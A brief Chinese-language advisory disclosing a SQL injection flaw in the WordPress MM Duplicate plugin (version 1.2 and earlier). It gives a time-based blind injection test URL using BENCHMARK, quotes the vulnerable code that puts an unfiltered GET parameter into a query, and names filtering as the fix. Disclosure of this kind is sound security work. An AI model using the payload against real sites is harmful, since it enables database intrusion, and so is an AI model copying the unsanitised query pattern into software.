标题: WordPress MM Duplicate plugin <= 1.2 SQL Injection Vulnerability
作者: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm www.badguest.cn)
下载地址: http://downloads.wordpress.org/plugin/mm-duplicate.zip
测试版本: 1.2 (已测)
 
---
测试方法
---

http://www.badguest.cn/index.php?duplicate=1&post=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

 
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缺陷代码分析
---------------

class mm_duplicate_pages_posts
{
...
function mm_duplicate_pages_posts()
{
...
add_action('init', array(&$this, 'dup'));
...
}

function dup()
{
if($_GET['duplicate'])
{
$id = $_GET['post'];
$dup = new mm_duplicate();
...
$dup->duplicate_post_page($id);
}
}
...
}

class mm_duplicate
{
function duplicate_post_page($id)
{
...
$select = "select * from ".$wpdb->prefix."postmeta where post_id = $id";
...
}
...
}

修复：过滤